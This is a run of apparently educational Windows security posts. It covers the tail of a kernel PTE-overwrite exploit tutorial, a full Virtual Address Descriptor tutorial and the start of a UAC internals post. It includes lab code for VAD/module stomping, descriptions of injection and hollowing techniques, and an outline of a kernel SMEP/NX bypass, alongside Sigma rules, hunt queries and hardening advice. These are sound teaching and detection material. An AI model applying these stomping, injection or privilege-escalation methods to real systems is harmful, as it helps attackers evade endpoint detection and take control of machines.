KMCS + Secure BootBlocks test-signed drivers loading in production. The lab needs Test Signing precisely because production won’t have it.
Self-reference PML4E randomizationForces a leak of nt!MiGetPteAddress before the attacker can compute PTE_VA.

Turn HVCI on and the exploit above stops working, full stop. Not “harder”, stopped. The hypervisor’s SLAT layer sees a user-backed physical page being marked kernel-executable in the guest PTE and rejects it. Every enterprise deployment should have HVCI on. If it isn’t, that’s the finding, not the shellcode.


Illustration of a hypervisor SLAT boundary as a luminous mesh catching and halting fragments of a shattered guest kernel page table, symbolising HVCI blocking a PTE overwrite exploit
HVCI places the hypervisor’s SLAT layer beneath all guest PTE edits; a user-backed page claiming supervisor-executable status is rejected before the CPU ever sees it.

13. Tools for Paging Analysis

ToolDescriptionLink
WinDbg / WinDbg Preview!pte, !vtop, !pfn, !process, dt nt!_MMPTE*. The one indispensable tool.learn.microsoft.com
Sysinternals RAMMapVisualize physical page usage by state (Active/Standby/Modified/Free).learn.microsoft.com
Sysinternals VMMapPer-process VA layout with protections, useful cross-check for PTE state.learn.microsoft.com
Volatility 3windows.pslist, windows.memmap, offline PTE walks from a memory image.volatilityfoundation.org
PTEditor (Michael Schwarz)Research tool for direct PTE manipulation from user-mode (Linux, but concepts port).github.com
x64dbgUser-mode complement for observing VirtualAlloc/VirtualProtect behavior and page protections.x64dbg.com

14. MITRE ATT&CK Mapping

TechniqueMITRE IDDetection Angle
Exploitation for Privilege EscalationT1068Driver load (Sysmon 6) + SYSTEM shell from unusual parent (Sysmon 1).
Process Injection: Proc MemoryT1055.009ETWTI allocation/protection events, anomalous RWX regions in kernel-adjacent processes.
RootkitT1014Discrepancies between !pte output and Volatility image walks; unexpected Valid=0 PTEs pointing at resident PFNs.
Impair Defenses: Disable or Modify ToolsT1562.001The PTE bit flip is the modern replacement for the CR4-clear SMEP disable. HVCI blocks both.

There is currently no dedicated ATT&CK sub-technique for “PTE bit manipulation.” T1068 is the honest primary mapping.


Summary

  • On x64 Windows, a virtual address is nothing more than five indexes and an offset the MMU uses to walk PML4 → PDPT → PD → PT via CR3. Every PTE is 8 bytes and every bit does a specific job.
  • The Owner bit (bit 2) is the entire SMEP boundary; the NoExecute bit (bit 63) is the entire per-page DEP boundary. Both are just bits.
  • Given a kernel write-what-where and a leaked nt!MiGetPteAddress, an attacker computes the exact PTE covering their user shellcode, clears two bits, flushes the TLB, and pivots through a kernel function pointer to SYSTEM.
  • Detection on this class of attack lives at the driver-load layer (Sysmon 6), the post-exploit outcome layer (Sysmon 1 + Sigma on SYSTEM shells), and ETWTI. Sysmon cannot see the PTE write itself.
  • HVCI is the hard control. With Memory Integrity on, the hypervisor rejects the exact PTE edit this technique depends on, and the class of attack goes from “trivial” to “requires a hypervisor bug.”

Related Tutorials

References

Virtual Address Descriptors: The VAD Tree and Memory Region Tracking

The PEB lies. The loader list can be unlinked, module names spoofed, Ldr entries stripped so that EnumProcessModules returns garbage. If you have ever chased an injected DLL and found the user-mode reports contradicting each other, you already know the frustration. The VAD tree, held in the kernel and maintained by the Memory Manager itself, is the ground truth: every reservation, every commit, every mapped file the process actually owns. It is the ledger you cross-check when the user-mode view is compromised.

This post walks the VAD end to end on Windows 10/11 x64. We compile a tiny lab target, allocate a page with VirtualAlloc, watch the tree grow in WinDbg, then stomp a mapped image and see how Volatility catches the seam. Detection follows.


1. Virtual Memory in One Screen

Every Windows x64 process gets a 128 TB user-mode virtual address space (0 to 0x7FFF_FFFF_FFFF), paired with a 128 TB kernel half. That space is sparse. Only fragments are ever reserved, fewer are committed, and only committed pages that have actually been touched have real page table entries backing them.

Two structures cooperate to track this:

LayerStructureOwnerGranularity
Region ledgerVAD tree (_MMVAD nodes)Kernel Memory ManagerRange of pages
Page mappingPage tables (_MMPTE)CPU + kernelSingle 4 KB page

The PTEs describe individual pages that are currently in physical memory or on the pagefile. The VAD tree describes the intent: “process X has reserved pages 0x00007FF60000 through 0x00007FF60FFF as private RW, and no, no PTE exists yet because the process has not touched it.” A page fault on a reserved-but-uncommitted address is resolved by the VAD, not the PTE.

That separation is why the VAD matters for forensics. The tree exists whether the physical page is resident, paged out, or never touched.


2. The VAD as the Kernel’s Authoritative Ledger

A Virtual Address Descriptor is a kernel structure. One node per contiguous region of virtual address space that shares the same attributes: allocation type, protection, and backing. Each VirtualAlloc produces a node. Each MapViewOfFile produces a node. Each VirtualFree (with MEM_RELEASE) removes one.

The tree is per-process. Its root pointer sits in _EPROCESS.VadRoot, and only the kernel modifies it (under process-wide locks). Nothing in user space can rewrite the tree directly. You can call NtProtectVirtualMemory to update the Protection bitfield of a node, but you cannot forge a node, hide one, or make the kernel forget an allocation you made.

Contrast with the PEB’s Ldr list: user mode, walkable and writable by any thread with PROCESS_VM_WRITE. Every “hide my DLL from the module list” trick since NTIllusion is unlinking entries from that user-mode list. The VAD entry for the mapped image? Still there, unchanged, waiting for a forensic tool to enumerate it.


Illustration of a locked kernel ledger floating above a user-mode process space, representing the VAD tree as an authority unreachable from user space
The VAD tree lives in kernel memory and is maintained exclusively by the Memory Manager – user-mode code can request changes but cannot forge or unlink entries directly.

3. Why AVL

The tree is an AVL self-balancing binary search tree keyed on the region’s starting Virtual Page Number. Left child is a lower VPN, right child is a higher VPN. Insert, delete, and lookup are all O(log n) even with pathological allocation orders, and the kernel does a lot of lookups: every page fault, every VirtualQuery, every access violation dispatch walks the tree.

On x64 the wrapper is _RTL_AVL_TREE. Each node embeds a _RTL_BALANCED_NODE as its first member for the linkage (Left, Right, ParentValue with balance bits packed into the low two bits of the parent pointer).


4. The Structures, Bottom Up

4.1. _EPROCESS: The Entry Point

On Windows 10/11 x64:

+0x7d8 VadRoot   : _RTL_AVL_TREE
+0x7e0 VadHint   : Ptr64 Void
+0x7e8 VadCount  : Uint8B

Offsets shift between builds, so always resolve with dt nt!_EPROCESS in the debugger rather than hardcoding. VadHint is a cached last-accessed node for locality (subsequent lookups near the same VA hit it first).

4.2. _MMVAD_SHORT: Private Allocations

For private memory (created by VirtualAlloc), the kernel uses _MMVAD_SHORT. It embeds the tree linkage as its first member and holds the range plus flags. Pool-tagged VadS.

typedef struct _MMVAD_SHORT {
    _RTL_BALANCED_NODE VadNode;         // Left / Right / ParentValue
    ULONG              StartingVpn;     // low 32 bits
    ULONG              EndingVpn;       // low 32 bits
    UCHAR              StartingVpnHigh;
    UCHAR              EndingVpnHigh;
    // ...
    MMVAD_FLAGS        u;               // 32-bit bitfield
    LONG               ReferenceCount;
    // ...
} MMVAD_SHORT, *PMMVAD_SHORT;

StartingVpn and EndingVpn are page numbers, not addresses. To get the actual virtual address, multiply by 0x1000:

VA_start = (StartingVpnHigh << 32 | StartingVpn) * 0x1000
VA_end   = ((EndingVpnHigh   << 32 | EndingVpn)   * 0x1000) + 0xFFF

The + 0xFFF at the end accounts for the fact that EndingVpn is inclusive of the last page.

4.3. _MMVAD: File-Backed and Image Maps

For mapped files or PE images, the kernel uses the full _MMVAD structure. Pool-tagged Vad (with a trailing space).

dt nt!_MMVAD
   +0x000 Core              : _MMVAD_SHORT
   +0x040 u2                : <anonymous-tag>
   +0x048 Subsection        : Ptr64 _SUBSECTION
   +0x050 FirstPrototypePte : Ptr64 _MMPTE
   +0x058 LastContiguousPte : Ptr64 _MMPTE
   +0x060 ViewLinks         : _LIST_ENTRY
   +0x070 VadsProcess       : Ptr64 _EPROCESS
   +0x080 FileObject        : Ptr64 _FILE_OBJECT

The chain _MMVAD -> Subsection -> ControlArea -> FilePointer is what lets !vad print the filename for image-backed regions. When you inject a DLL by LoadLibrary, that entire chain is populated with references to the real on-disk file object. FileObject at +0x80 is the fast path to the same info.

FirstPrototypePte / LastContiguousPte bookend the prototype PTE array the Memory Manager uses to lazily materialize per-process PTEs for shared pages. When two processes map the same DLL, both _MMVAD nodes point into the same prototype range; the per-process PTEs are filled in on first access.

Pool tags to memorize:

TagStructureMeaning
VadS_MMVAD_SHORTPrivate allocation (heap, stack, VirtualAlloc)
Vad_MMVADMapped file or image
VadF_MMVADLarge-page VAD (typically private)
Vadm_MMVADLarge mapped section

Hierarchy diagram showing how _EPROCESS.VadRoot leads to the AVL tree, which branches into _MMVAD and _MMVAD_SHORT nodes with their respective sub-structures
Every VAD node descends from _EPROCESS.VadRoot; private allocations use the compact _MMVAD_SHORT while file-backed or image regions use the full _MMVAD with a Subsection chain to the on-disk FileObject.

5. _MMVAD_FLAGS: Where the Interesting Bits Live

Four bytes, packed. This is what forensic tools decode to classify a region.

struct _MMVAD_FLAGS {
    unsigned long VadType         : 3;   // 0..7
    unsigned long Protection      : 5;   // encoded page prot
    unsigned long PreferredNode   : 6;
    unsigned long NoChange        : 1;
    unsigned long PrivateMemory   : 1;   // 1 = private, 0 = section-backed
    unsigned long Teb             : 1;
    unsigned long PrivateFixup    : 1;
    unsigned long ManySubsections : 1;
    unsigned long Spare           : 12;
    unsigned long DeleteInProgress: 1;
};

The two fields you check first are always VadType and PrivateMemory.

VadType values:

ValueNameWhat it means
0VadNonePrivate commit / plain VirtualAlloc
1VadDevicePhysicalMemoryMapping over \Device\PhysicalMemory
2VadImageMapPE mapped as image (SEC_IMAGE)
3VadAweAddress Windowing Extensions
4VadWriteWatchTracked writes
5VadLargePagesLarge page backing
6VadRotatePhysicalRotate physical (GPU/DirectComposition)
7VadLargePageSectionLarge-page mapped section

Protection is not the Win32 PAGE_* constants. It is a 5-bit index into a kernel table. Common values you will see:

EncodedApproximate meaning
1PAGE_READONLY
2PAGE_EXECUTE
3PAGE_EXECUTE_READ
4PAGE_READWRITE
5PAGE_WRITECOPY
6PAGE_EXECUTE_READWRITE
7PAGE_EXECUTE_WRITECOPY

That table (MmProtectToValue) is defined in the kernel and has been stable across modern Windows 10/11 builds – index 0 is PAGE_NOACCESS, and the order shown above is the canonical one. The PAGE_GUARD and PAGE_NOCACHE modifiers are folded into other bit positions in _MMPTE, not here.

PrivateMemory = 1 on a region with Protection = 6 (RWX) in a process that has no reason to JIT is the single loudest signal in malfind. It is the “unbacked RWX private commit” hunt query.


6. What Each WinAPI Actually Does to the Tree

API (user)Nt* (kernel)VAD effect
VirtualAlloc (reserve)NtAllocateVirtualMemoryCreates a _MMVAD_SHORT node, PrivateMemory=1, Protection=0 (no access)
VirtualAlloc (commit)sameSame node, Protection updated, no PTE yet
VirtualProtectNtProtectVirtualMemoryUpdates Protection on existing node; may split a node if the range is partial
MapViewOfFileNtMapViewOfSectionCreates a _MMVAD node, PrivateMemory=0, Subsection populated, VadType=VadImageMap for SEC_IMAGE
VirtualFree (MEM_RELEASE)NtFreeVirtualMemoryRemoves node, sets DeleteInProgress during teardown
VirtualQuery[Ex]NtQueryVirtualMemoryRead-only walk of the tree, returns MEMORY_BASIC_INFORMATION

The kernel path lands in MiInsertVad (insert), MiRemoveVad (remove), and MiLocateAddress (lookup). Splitting a range with a partial VirtualProtect is genuinely nontrivial: the kernel allocates a new node, adjusts the tree, and rebalances. Attackers using RWX in small slivers can end up creating a suspicious number of adjacent VadS nodes with weird protection quilting; that itself is a hunt signal.


7. Lab Target

Create vad_lab_target.c. Compile with MSVC (cl /Zi vad_lab_target.c) or MinGW (x86_64-w64-mingw32-gcc -g vad_lab_target.c -o vad_lab_target.exe). The point is to produce a textbook VadS region that we can watch through each state transition.

// vad_lab_target.c - intentionally simple, for the VAD walkthrough
#include <windows.h>
#include <stdio.h>

int main(void) {
    printf("[+] PID = %lu\n", GetCurrentProcessId());
    printf("[+] Press ENTER to VirtualAlloc RW...\n");
    getchar();

    // (1) Reserve + commit a page as PAGE_READWRITE -> creates VadS node
    LPVOID mem = VirtualAlloc(NULL, 0x1000,
                              MEM_COMMIT | MEM_RESERVE,
                              PAGE_READWRITE);
    printf("[+] Alloc @ %p  (Protection = PAGE_READWRITE)\n", mem);
    getchar();

    // (2) Copy in a harmless "payload": ret (0xC3) plus filler
    unsigned char payload[16] = {
        0x48, 0x31, 0xC0,       // xor rax, rax
        0xC3,                   // ret
        0x90, 0x90, 0x90, 0x90,
        0x90, 0x90, 0x90, 0x90,
        0x90, 0x90, 0x90, 0x90
    };
    memcpy(mem, payload, sizeof(payload));
    printf("[+] Written 16 bytes. Press ENTER to VirtualProtect -> RX...\n");
    getchar();

    // (3) Flip protection to PAGE_EXECUTE_READ -> Protection bitfield updates
    DWORD old = 0;
    VirtualProtect(mem, 0x1000, PAGE_EXECUTE_READ, &old);
    printf("[+] Now PAGE_EXECUTE_READ. Press ENTER to call it...\n");
    getchar();

    // (4) Call the region as a function pointer (returns 0)
    int (*fn)(void) = (int(*)(void))mem;
    int rv = fn();
    printf("[+] Call returned %d. Press ENTER to VirtualFree...\n", rv);
    getchar();

    // (5) MEM_RELEASE -> node removed from VAD tree
    VirtualFree(mem, 0, MEM_RELEASE);
    printf("[+] Freed. Exiting.\n");
    return 0;
}

Each getchar() is a debugger checkpoint. Between them the process is idle, so you can attach the kernel debugger, inspect the tree, and continue.


8. Walking the Tree Live in WinDbg

You need a kernel debugger attached to the lab VM. KDNET over the network is the least painful setup on modern Windows: run bcdedit /debug on and bcdedit /dbgsettings NET HOSTIP:<host> PORT:50000 KEY:... in the guest, then attach WinDbg Preview on the host.

Launch the target, note its PID, and break in.

8.1. Find the _EPROCESS

kd> !process 0 0 vad_lab_target.exe
PROCESS ffffab8a2d5b3080
    SessionId: 1  Cid: 0e94    Peb: 3f4e3ff000
    Image: vad_lab_target.exe

8.2. Locate VadRoot

kd> dt nt!_EPROCESS ffffab8a2d5b3080 VadRoot VadCount
   +0x7d8 VadRoot   : _RTL_AVL_TREE
   +0x7e8 VadCount  : 0x2a

The tree is under VadRoot.Root. Dump the whole thing:

First read the VadRoot.Root pointer (that is what !vad expects, not the address of the VadRoot field itself):

kd> dt nt!_RTL_AVL_TREE ffffab8a2d5b3080+7d8
   +0x000 Root : 0xffffab8a`1c987654 Void

kd> !vad 0xffffab8a1c987654
VAD          Level    Start       End        Commit
ffffab8a1c123abc  4    7ff60000   7ff60000       1  Private      READWRITE

ffffab8a1c987654  0    7ff700000  7ff7000ff    256  Mapped Exe   EXECUTE_WRITECOPY  vad_lab_target.exe
ffffab8a1c112233  3    7ffab0000  7ffab01ff    512  Mapped Exe   EXECUTE_WRITECOPY  ntdll.dll
...

Actual output varies. The Private READWRITE row on line 1 (single page committed, start VPN 7ff60000) is our VirtualAlloc. VPN to VA: 0x7ff60000 * 0x1000 = 0x7ff60000000 (matches the pointer the target printed, minus the offset the linker chose). Note that !vad prints the raw VPN in the Start/End columns, so the same node’s _MMVAD_SHORT.StartingVpn field will read as 0x7ff60000 when you dt it directly.

8.3. Inspect the Node

kd> dt nt!_MMVAD_SHORT ffffab8a1c123abc
   +0x000 VadNode           : _RTL_BALANCED_NODE
      +0x018 StartingVpn       : 0x7ff60000
   +0x01c EndingVpn         : 0x7ff60000
   +0x020 StartingVpnHigh   : 0
   +0x021 EndingVpnHigh     : 0
   +0x030 u                 : <unnamed-tag>
      +0x000 VadFlags       : _MMVAD_FLAGS

Peel the flags:

kd> dt nt!_MMVAD_FLAGS ffffab8a1c123abc+30
   +0x000 VadType         : 0y000     (0 = VadNone)
   +0x000 Protection      : 0y00100   (4 = PAGE_READWRITE)
   +0x000 PrivateMemory   : 0y1
   +0x000 DeleteInProgress: 0y0

Continue the target past the second checkpoint (VirtualProtect fires) and re-inspect the same node address:

kd> dt nt!_MMVAD_FLAGS ffffab8a1c123abc+30
   +0x000 Protection      : 0y00011   (3 = PAGE_EXECUTE_READ)

Same node, same VPN range, same tree position. Only the Protection bitfield changed. That is NtProtectVirtualMemory in action.

8.4. Verify the Pool Tag

kd> !pool ffffab8a1c123abc
 Pool page ffffab8a1c123000 region is Nonpaged pool
  ...
 *ffffab8a1c123ab0 size:  0x40 previous size: 0x30  (Allocated) *VadS

VadS. Private allocation. Matches PrivateMemory = 1.

Traverse manually if you want to see the tree shape:

kd> dt nt!_MMVAD_SHORT <node> VadNode.Left VadNode.Right

Follow Left for lower VAs, Right for higher. The bottom two bits of ParentValue encode the balance factor; mask them off (& ~0x3) before dereferencing.


9. Volatility 3: The Same View Post-Mortem

Take a memory dump of the lab VM (WinPmem, DumpIt, or .dump /f from WinDbg). Then:

vol.py -f lab.mem windows.pslist | grep vad_lab_target
vol.py -f lab.mem windows.vadinfo --pid 3732

Expected output for our region (abbreviated):

PID    Process              Start           End             Tag   Protection            File
3732   vad_lab_target.exe   0x7ff60000000   0x7ff60000fff   VadS  PAGE_EXECUTE_READ     
3732   vad_lab_target.exe   0x7ff700000000  0x7ff70000ffff  Vad   PAGE_EXECUTE_WRITECOPY \Device\...\vad_lab_target.exe

Now the malfind plugin:

vol.py -f lab.mem windows.malfind --pid 3732

Malfind’s heuristic is straightforward: it flags VadS regions where the protection allows execution and the first bytes look like code (an MZ header, or valid x86/x64 instructions and no null header). Our lab region has a xor rax, rax; ret prologue with NOPs, so malfind will happily flag it and print a disassembly.

That is the shape of every reasonable EDR memory scanner: enumerate VADs, classify each region, focus on PrivateMemory=1 with executable protection, and disassemble the head.


10. Attacker Abuse: VAD Stomping and Hollowing

The reason the VAD matters offensively is exactly the reason it matters defensively: it is what the memory scanner reads.

Classic injection (T1055.001) is loud. VirtualAllocEx creates a fresh VadS node in the target. WriteProcessMemory fills it. CreateRemoteThread runs it. Every memory scanner that classifies private+executable as anomalous catches it.

VAD stomping / module stomping is the attacker’s answer. The technique:

  1. Attacker chooses a benign, signed DLL that the target already loads (or maps a fresh one with LoadLibrary).
  2. In its address range, VirtualProtect a section (usually .text) to PAGE_EXECUTE_READWRITE.
  3. Overwrite the code with shellcode.
  4. Flip protection back to PAGE_EXECUTE_READ.
  5. Redirect execution into the overwritten region (thread hijack, APC, etc.).

The VAD node still says VadImageMap, still references the on-disk FileObject with the real signed DLL path. To a scanner walking the tree, the region is “image-backed”, which most heuristics trust more than private commits. The only tell is a content hash of the in-memory pages versus the on-disk file. Modern EDRs do exactly that, but plenty of older tooling does not.

Sample lab code (self-targeting, run against the operator’s own process):

// vad_stomp_lab.c - self-target only; never against a process you don't own
#include <windows.h>
#include <stdio.h>
#include <string.h>

int main(void) {
    // Load a benign helper DLL we already ship (any signed DLL in System32
    // works; use one you're not otherwise depending on).
    HMODULE h = LoadLibraryA("version.dll");
    if (!h) return 1;

    // Locate its .text region. In real ops you'd parse the PE headers;
    // for the lab, grab an exported function as a target address.
    FARPROC target = GetProcAddress(h, "GetFileVersionInfoA");
    printf("[+] Overwriting @ %p (inside VadImageMap for version.dll)\n", target);

    unsigned char payload[] = {
        0x48, 0x31, 0xC0,   // xor rax, rax
        0xC3                // ret
    };

    DWORD old = 0;
    VirtualProtect(target, sizeof(payload), PAGE_EXECUTE_READWRITE, &old);
    memcpy(target, payload, sizeof(payload));
    VirtualProtect(target, sizeof(payload), PAGE_EXECUTE_READ, &old);

    printf("[+] Stomp complete. VAD still shows version.dll on disk.\n");
    // Redirect: call our stomped export
    ((void(*)(void))target)();
    return 0;
}

Dump the VM, run windows.vadinfo, and the region will still print with the version.dll file path attached. Run windows.malfind and it will not flag it (private+executable heuristic misses image-backed stomping). You need a hash-check plugin (windows.dlllist + windows.moddump, then compare hash to disk) to see the mismatch. That gap is exactly what stompers rely on.

Process hollowing (T1055.012) goes further: create a suspended child process, NtUnmapViewOfSection the primary image, allocate a fresh region at the same base, write a different PE, fix up the entry point in the thread context, resume. The VadImageMap node in the child either references the original PE (if you skipped the unmap and just overwrote), or has been recreated as VadS at the image base with no file backing (if you unmapped). Modern Sysmon (13+) catches this via Event ID 25 – ProcessTampering by comparing the mapped image to disk.


Flow diagram tracing the VAD stomping technique from LoadLibrary through VirtualProtect and shellcode overwrite, showing how naive VAD scanners are bypassed but content hash checks catch the discrepancy
VAD stomping leaves the VadImageMap node intact and file-path references unchanged; only a scanner that hashes in-memory page content against the on-disk PE will detect the mismatch.

11. Common Attacker Techniques

TechniqueDescription
Classic remote injectionVirtualAllocEx + WriteProcessMemory + CreateRemoteThread. Creates a fresh VadS in target. Loudest.
VAD / module stompingOverwrite a mapped image’s committed pages while keeping the VadImageMap node intact. Region looks image-backed to naive scanners.
Process hollowingReplace image contents (or unmap-and-remap) in a suspended child. VAD may show original file path with divergent content.
Process doppelgangingTxF-based; the section is created from a transacted image so the on-disk file “looks” legit while the section content differs.
DLL hollowingSimilar to stomping but on a legitimately loaded DLL’s data or code sections, avoiding creation of any new VAD entry.
Reflective DLL injectionCopy raw DLL bytes into a target VadS region and self-relocate. VAD shows private commit with executable protection: classic malfind hit.
PEB unlinkingRemoves Ldr entries in user mode. Does not touch the VAD, so windows.vadinfo still shows the mapped image.

12. Defensive Strategies and Detection

12.1. Sysmon Event IDs

Event IDEventVAD relevance
1Process CreateBaseline; correlate with unusual command lines that follow injection
7ImageLoadCorrelate module load path with what windows.vadinfo reports later
8CreateRemoteThreadFires when a remote thread is created in another process; classic injection last step
10ProcessAccessCross-process handle grab; GrantedAccess containing 0x0020 (VM_WRITE), 0x0008 (VM_OPERATION), 0x0002 (CREATE_THREAD) is the setup for VAD manipulation
25ProcessTamperingSysmon 13+; fires when the in-memory image diverges from the mapped file (hollowing)

12.2. ETW Providers

ProviderGUID / nameWhat it yields
Microsoft-Windows-Kernel-Process{22FB2CD6-0E7B-422B-A0C7-2FAD1FD0E716}Process, thread, image events
Microsoft-Windows-Kernel-Memory{D1D93EF7-E1F2-4F45-9943-03D245FE6C00}Memory allocation/free events
Microsoft-Windows-Threat-IntelligenceETW-TI (PPL-gated)VirtualAlloc, VirtualProtect, MapViewOfSection, WriteProcessMemory page-level detail

ETW-TI is what Microsoft Defender for Endpoint consumes for injection telemetry. If you want your own detections to reach parity with commercial EDR, this is the provider to subscribe to. Access requires PPL protection on the consumer, which is why hobbyist tooling rarely uses it.

12.3. Sigma Rules

Cross-process VAD write setup (setup for stomping or classic injection):

title: Cross-Process Handle With VM_WRITE Access
id: 7a3f8d90-4b0a-4b0e-8f24-1c9e4d6f3a11
logsource:
    product: windows
    service: sysmon
detection:
    selection:
        EventID: 10
        GrantedAccess|contains:
            - '0x1fffff'   # PROCESS_ALL_ACCESS
            - '0x1f3fff'
            - '0x143a'     # VM_WRITE | VM_OPERATION | CREATE_THREAD
    filter_legit:
        SourceImage|endswith:
            - '\MsMpEng.exe'
            - '\csrss.exe'
            - '\wininit.exe'
    condition: selection and not filter_legit
fields:
    - SourceImage
    - TargetImage
    - GrantedAccess
    - CallTrace
level: high

Remote thread creation (last step of most injections):

title: Remote Thread Created In Non-System Target
id: b81f0d21-eb9c-4a70-b0d3-3d2c1b7f5c02
logsource:
    product: windows
    service: sysmon
detection:
    selection:
        EventID: 8
    filter_system:
        SourceImage|startswith: 'C:\Windows\System32\'
        TargetImage|startswith: 'C:\Windows\System32\'
    condition: selection and not filter_system
level: high

Process tampering / hollowing:

title: Sysmon ProcessTampering Image Replaced
id: 3c1b2a5d-7f10-4b19-9a2c-08e8b1f4d221
logsource:
    product: windows
    service: sysmon
detection:
    selection:
        EventID: 25
        Type: 'Image is replaced'
    condition: selection
level: high

12.4. Hunt Queries Against VAD Snapshots

Run periodically on endpoint memory snapshots or via a Volatility-backed pipeline:

  • Regions with PrivateMemory = 1 and Protection in {PAGE_EXECUTE_READ, PAGE_EXECUTE_READWRITE, PAGE_EXECUTE_WRITECOPY} inside processes that have no JIT (anything that isn’t a browser, dotnet, java, node, PowerShell, etc.)
  • VadImageMap regions whose mapped file hash does not match the on-disk hash (stomping signature).
  • Regions with FileObject pointing to \Device\PhysicalMemory or unsigned paths outside System32, SysWOW64, or the app install directory.
  • Sudden increase in adjacent VadS nodes with alternating protections (indicative of small-sliver RWX flipping).

12.5. Hardening

  • Enable Arbitrary Code Guard (ACG) on sensitive processes. ACG blocks NtProtectVirtualMemory from setting executable on a region that was writable, and blocks NtAllocateVirtualMemory for RWX. It kills the naive stomping and reflective loading paths outright.
  • Code Integrity Guard (CIG) blocks loading unsigned DLLs, which shuts down the “map arbitrary DLL as image, then stomp it” opener.
  • Enable ProcessCreationMitigationPolicy extension-point disable to prevent AppInit and legacy DLL injection.
  • Deploy Sysmon 13+ with a config that includes EIDs 7, 8, 10, 25 with sensible filters.
  • Feed ETW-TI into your EDR/SIEM if the platform supports it.

Illustration of a vault door with three defence layers symbolising Arbitrary Code Guard, Code Integrity Guard, and ETW telemetry as layered mitigations against VAD-based injection
Effective VAD-level defence is layered: process mitigations like ACG block runtime protection flips, CIG prevents unsigned image stomping candidates, and ETW-TI provides page-granular telemetry for injection detection.

13. Tools for VAD Analysis

ToolDescriptionLink
WinDbg PreviewKernel debugger with !vad, !process, dt, !pool; primary live inspection toolhttps://learn.microsoft.com/windows-hardware/drivers/debugger/
Volatility 3Memory forensics; windows.vadinfo, windows.vadwalk, windows.malfindhttps://www.volatilityfoundation.org/
Process HackerLive per-process memory map with region protections and mapped fileshttps://processhacker.sourceforge.io/
Sysinternals VMMapUser-mode view of a process’s VAD (via NtQueryVirtualMemory); great for visualising fragmentationhttps://learn.microsoft.com/sysinternals/downloads/vmmap
WinPmem / DumpItLive memory acquisition for offline Volatility analysishttps://github.com/Velocidex/WinPmem
Sysmon (13+)EID 8, 10, 25 for injection and tampering detectionhttps://learn.microsoft.com/sysinternals/downloads/sysmon
PE-sieve / Hollows HunterScans running processes for hollowing, stomping, and reflective loads by comparing in-memory to diskhttps://github.com/hasherezade/pe-sieve

14. MITRE ATT&CK Mapping

TechniqueMITRE IDDetection
Process Injection (parent)T1055Sysmon EID 8, 10; ETW-TI; VAD anomalies
DLL InjectionT1055.001Correlate EID 10 (VM_WRITE) with EID 8; new VadS in target
Process HollowingT1055.012Sysmon EID 25; VAD file-hash mismatch
Process DoppelgangingT1055.013Transacted image loads; ETW-TI section create
Module Stomping (variant)T1055.001Content hash of VadImageMap regions vs on-disk PE
Process DiscoveryT1057NtQueryVirtualMemory traffic; EID 10 without follow-on writes

15. Summary

  • The VAD tree is the kernel’s authoritative per-process memory ledger: an AVL tree of _MMVAD_SHORT / _MMVAD nodes rooted at _EPROCESS.VadRoot, immune to user-mode forgery.
  • Each node encodes a region’s VPN range, protection, private-vs-mapped status, and file backing; the VadS / Vad pool tags and _MMVAD_FLAGS bits are how you classify what a region really is.
  • Every VirtualAlloc, MapViewOfFile, and VirtualProtect translates into a specific mutation of the tree, so the tree is a complete record of what the process has done to its address space.
  • Attackers cannot make VAD entries disappear, but they can camouflage: VAD stomping keeps the VadImageMap node intact while replacing page contents, and process hollowing relies on the same trick at PE-load time.
  • Detection is a two-front effort. Live telemetry (Sysmon EIDs 8, 10, 25; ETW-TI for page-level allocation events) plus periodic VAD hunting (Volatility malfind, image-vs-disk hash comparison, RWX-in-private-commit queries).

Related Tutorials

References

UAC Internals: Elevation, Consent, and Token Filtering

Objective: Understand exactly how User Account Control works under the hood – the split-token model, Mandatory Integrity Control, the AppInfo/consent.exe elevation pipeline, and auto-elevation – so you can reason precisely about what UAC protects, walk a real HKCU-hijack bypass end to end in a lab, and read a Sysmon process-creation event and spot the bypass from the parent-child chain alone.


Here is the thing nobody says loudly enough: Microsoft does not consider UAC a security boundary. It is a convenience feature that keeps admins from running everything as admin all day. That single design decision explains why an entire family of “UAC bypasses” exists, why many of them are unpatched by design, and why they are not treated as vulnerabilities. If you internalize the pipeline below, the bypasses stop looking like magic and start looking like the obvious consequence of a trust decision.

1. Why UAC Exists: The Pre-Vista Problem

Before Windows Vista, the average interactive user was a full local administrator, and every process they launched ran with that full administrator token. One malicious document, one drive-by, and the payload inherited god rights instantly. There was no gap to cross.

UAC (shipped in Vista, refined ever since) applies the principle of least privilege to the desktop. An administrator still logs in, but their day-to-day processes run as if they were a standard user. Elevation to full admin rights becomes an explicit, auditable act rather than the default state. The mechanism that makes this possible is the split-token model, and it is enforced by Mandatory Integrity Control. Start with MIC, because everything else sits on top of it.


2. Mandatory Integrity Control and Integrity Levels

Mandatory Integrity Control (MIC) tags every user, process, and securable object with an Integrity Level (IL), represented by a SID in the S-1-16-x range. The IL is orthogonal to the DACL: even if the DACL grants access, the kernel’s SeAccessCheck can still deny a write because a lower-integrity subject is trying to modify a higher-integrity object.

IL LabelSIDTypical Use
LowS-1-16-4096Protected Mode IE, sandboxed processes
MediumS-1-16-8192Standard users, filtered admin tokens
HighS-1-16-12288Elevated admin processes
SystemS-1-16-16384SYSTEM-context services

A standard user and an administrator’s filtered token both run at Medium. An administrator’s elevated token runs at High. If UAC is disabled entirely, administrators always run at High.

The label lives in the object’s SACL as a SYSTEM_MANDATORY_LABEL_ACE, whose access mask carries the enforcement policy:

// Mandatory policy bits carried in the label ACE's access mask
#define SYSTEM_MANDATORY_LABEL_NO_WRITE_UP    0x1
#define SYSTEM_MANDATORY_LABEL_NO_READ_UP     0x2
#define SYSTEM_MANDATORY_LABEL_NO_EXECUTE_UP  0x4

NO_WRITE_UP is the default and the one that matters most: a Medium-integrity process cannot write into a High-integrity process or object. That is the wall a UAC bypass has to get around, and it does so not by breaking MIC but by convincing a High-integrity process to read down into attacker-controlled state. Hold that thought.

You can read any token’s IL with GetTokenInformation and the TokenIntegrityLevel class, which returns a TOKEN_MANDATORY_LABEL whose Label.Sid is the IL SID. We do exactly that in the next section.


Hierarchy diagram showing four integrity levels - System, High, Medium, Low - with NO_WRITE_UP enforcement between each layer and their associated process types
MIC enforces a strict no-write-up policy: a Medium process cannot modify High-integrity objects, forming the wall that UAC bypasses must route around.

3. The Split-Token Model: Filtered vs. Full Tokens

When a user with powerful group memberships or privileges logs on, LSASS (via NtCreateToken) mints two linked tokens:

  • The Full token carries every group membership and privilege the account has, including active Administrators membership, and runs at High integrity.
  • The Filtered token is the same identity with the admin group marked deny-only, dangerous privileges stripped, and integrity lowered to Medium.

